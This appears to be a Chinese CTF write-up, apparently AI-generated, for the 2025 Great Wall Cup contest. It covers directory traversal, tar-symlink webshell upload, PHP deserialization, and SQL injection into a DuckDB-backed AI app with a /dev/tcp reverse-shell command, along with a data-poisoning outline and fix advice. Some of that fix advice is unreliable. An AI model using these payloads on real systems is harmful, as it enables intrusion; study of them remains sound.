2025第五届“长城杯”网络安全大赛-wp
字数 1946 2025-09-23 19:27:38

2025第五届“长城杯”网络安全大赛 Write-up 教学文档

一、Web安全类题目

1. 文曲签学

  • 题目类型:Web目录穿越漏洞
  • 关键点
    • 页面提示“长按Fn键”,通过#list发现HINT。
    • HINT提示关注公众号,获取目录穿越提示。
  • 利用方法
    • 使用#read功能进行目录穿越:
      #read ...//....//....//....//flag
      
  • 漏洞原理:未对文件读取路径进行规范化处理,导致可通过../穿越目录。
  • 修复建议:对输入路径进行正则化处理,禁止../等跳转字符。

2. EZ_upload

  • 题目类型:文件上传 + Tar命令注入(软链接利用)
  • 源码分析
    $filename = basename($file['name']);
    $filename = preg_replace('/[^a-zA-Z0-9_\-\.]/', '_', $filename);
    exec('cd /tmp && tar -xvf ' . $filename.'&&pwd');
    
    • 文件名过滤了非字母数字字符,但允许_-.
    • 直接拼接文件名执行tar命令,存在命令注入风险。
  • 利用方法
    1. 创建软链接指向Web目录:
      ln -s /var/www/html link1
      tar -cvf syslink.tar link1
      rm link1
      mkdir link1
      echo '<?php @eval($_POST["cmd"]); ?>' > link1/shell.php
      tar -cvf shell.tar link1/shell.php
      
    2. 依次上传syslink.tarshell.tar,通过Tar解压软链接实现文件写入。
  • 漏洞原理:Tar保留软链接属性,解压时可将软链接解析为目标路径,从而实现任意文件写入。
  • 修复建议
    • 禁用Tar命令的软链接处理(如--no-same-owner)。
    • 使用安全函数(如escapeshellarg())处理命令行参数。

3. SeRce

  • 题目类型:PHP反序列化 + CVE-2024-2961(Pearcmd RCE)
  • 漏洞原理
    • 利用__PHP_Incomplete_Class_Name类触发Pearcmd.php包含漏洞。
    • 通过反序列化链调用Access::getToken()方法拼接路径,触发Pearcmd执行。
  • 利用方法
    • 使用已知EXP(如Lilctf脚本)生成Payload:
      class Access {
          protected $prefix = 'phar://';
          protected $suffix = '/pearcmd.php';
      }
      // 构造Phar包触发包含执行命令
      
    • 发送序列化数据触发RCE。
  • 修复建议
    • 避免反序列化用户输入。
    • 更新Pearcmd至安全版本。

二、AI安全类题目

1. eztalk

  • 题目类型:AI数据库注入(CVE-2024-11958)
  • 漏洞原理
    • 输入未过滤导致SQL注入,通过Union查询执行系统命令。
  • 利用方法
    test') AS score, node_id, text FROM documents UNION SELECT '1500', '!', concat('life', version())--
    
    • 确认漏洞后,利用COPY命令写入Shell:
      COPY (SELECT 'sh -i >& /dev/tcp/0.0.0.0/4444 0>&1') TO '/tmp/exploit';
      
    • 通过read_csv执行命令:
      SELECT * FROM read_csv('bash /tmp/exploit |');
      
  • 修复建议
    • 对用户输入进行严格的SQL注入过滤。
    • 限制数据库用户权限,禁止执行系统命令。

2. easy_poison

  • 题目类型:数据投毒(Data Poisoning)
  • 漏洞原理:通过污染训练数据影响AI模型输出。
  • 利用方法
    • 构造恶意训练数据,插入误导性样本(如虚假Flag)。
    • 重新训练模型,使模型输出恶意内容。
  • 修复建议
    • 使用可信数据源进行训练。
    • 对训练数据进行完整性校验。

三、数据安全类题目

1. RealCheckIn-1

  • 题目类型:流量分析 + Base64隐写
  • 利用方法
    • 在Wireshark中追踪HTTP流(流编号1102)。
    • 发现Base64编码数据,解码后写入fffllagg1.txt
    • 使用CyberChef解码获取Flag。
  • 关键点:注意流量中隐藏的编码数据。

2. RealCheckIn-3

  • 题目类型:内存马利用(Java Agent注入)
  • 分析过程
    • 在流量(流1122)中提取payload1.jar
    • 反编译后发现是内存马框架,用于注入Java Agent。
  • 利用方法(未完全解出):
    • 通常通过JNDI注入或反序列化触发Agent加载。
  • 修复建议
    • 禁止加载不可信的Java Agent。
    • 监控JVM进程异常行为。

四、总结与防护建议

漏洞类型 利用技术 防护措施
目录穿越 路径遍历 路径规范化
文件上传+软链接 Tar软链接处理 禁用软链接解压
PHP反序列化 Pearcmd RCE 禁止反序列化用户输入
SQL注入(AI) CVE-2024-11958 输入过滤、权限控制
数据投毒 训练数据污染 数据源可信校验
流量隐写 Base64解码 流量监控与检测
内存马 Java Agent注入 JVM安全配置

如果有需要修改或者补充的地方,可以随时告诉我。

2025第五届“长城杯”网络安全大赛 Write-up 教学文档 一、Web安全类题目 1. 文曲签学 题目类型 :Web目录穿越漏洞 关键点 : 页面提示“长按Fn键”,通过 #list 发现HINT。 HINT提示关注公众号,获取目录穿越提示。 利用方法 : 使用 #read 功能进行目录穿越: 漏洞原理 :未对文件读取路径进行规范化处理,导致可通过 ../ 穿越目录。 修复建议 :对输入路径进行正则化处理,禁止 ../ 等跳转字符。 2. EZ_ upload 题目类型 :文件上传 + Tar命令注入(软链接利用) 源码分析 : 文件名过滤了非字母数字字符,但允许 _ 、 - 和 . 。 直接拼接文件名执行 tar 命令,存在命令注入风险。 利用方法 : 创建软链接指向Web目录: 依次上传 syslink.tar 和 shell.tar ,通过Tar解压软链接实现文件写入。 漏洞原理 :Tar保留软链接属性,解压时可将软链接解析为目标路径,从而实现任意文件写入。 修复建议 : 禁用Tar命令的软链接处理(如 --no-same-owner )。 使用安全函数(如 escapeshellarg() )处理命令行参数。 3. SeRce 题目类型 :PHP反序列化 + CVE-2024-2961(Pearcmd RCE) 漏洞原理 : 利用 __PHP_Incomplete_Class_Name 类触发Pearcmd.php包含漏洞。 通过反序列化链调用 Access::getToken() 方法拼接路径,触发Pearcmd执行。 利用方法 : 使用已知EXP(如Lilctf脚本)生成Payload: 发送序列化数据触发RCE。 修复建议 : 避免反序列化用户输入。 更新Pearcmd至安全版本。 二、AI安全类题目 1. eztalk 题目类型 :AI数据库注入(CVE-2024-11958) 漏洞原理 : 输入未过滤导致SQL注入,通过Union查询执行系统命令。 利用方法 : 确认漏洞后,利用COPY命令写入Shell: 通过 read_csv 执行命令: 修复建议 : 对用户输入进行严格的SQL注入过滤。 限制数据库用户权限,禁止执行系统命令。 2. easy_ poison 题目类型 :数据投毒(Data Poisoning) 漏洞原理 :通过污染训练数据影响AI模型输出。 利用方法 : 构造恶意训练数据,插入误导性样本(如虚假Flag)。 重新训练模型,使模型输出恶意内容。 修复建议 : 使用可信数据源进行训练。 对训练数据进行完整性校验。 三、数据安全类题目 1. RealCheckIn-1 题目类型 :流量分析 + Base64隐写 利用方法 : 在Wireshark中追踪HTTP流(流编号1102)。 发现Base64编码数据,解码后写入 fffllagg1.txt 。 使用CyberChef解码获取Flag。 关键点 :注意流量中隐藏的编码数据。 2. RealCheckIn-3 题目类型 :内存马利用(Java Agent注入) 分析过程 : 在流量(流1122)中提取 payload1.jar 。 反编译后发现是内存马框架,用于注入Java Agent。 利用方法 (未完全解出): 通常通过JNDI注入或反序列化触发Agent加载。 修复建议 : 禁止加载不可信的Java Agent。 监控JVM进程异常行为。 四、总结与防护建议 | 漏洞类型 | 利用技术 | 防护措施 | |-------------------|-------------------------|----------| | 目录穿越 | 路径遍历 | 路径规范化 | | 文件上传+软链接 | Tar软链接处理 | 禁用软链接解压 | | PHP反序列化 | Pearcmd RCE | 禁止反序列化用户输入 | | SQL注入(AI) | CVE-2024-11958 | 输入过滤、权限控制 | | 数据投毒 | 训练数据污染 | 数据源可信校验 | | 流量隐写 | Base64解码 | 流量监控与检测 | | 内存马 | Java Agent注入 | JVM安全配置 | 如果有需要修改或者补充的地方,可以随时告诉我。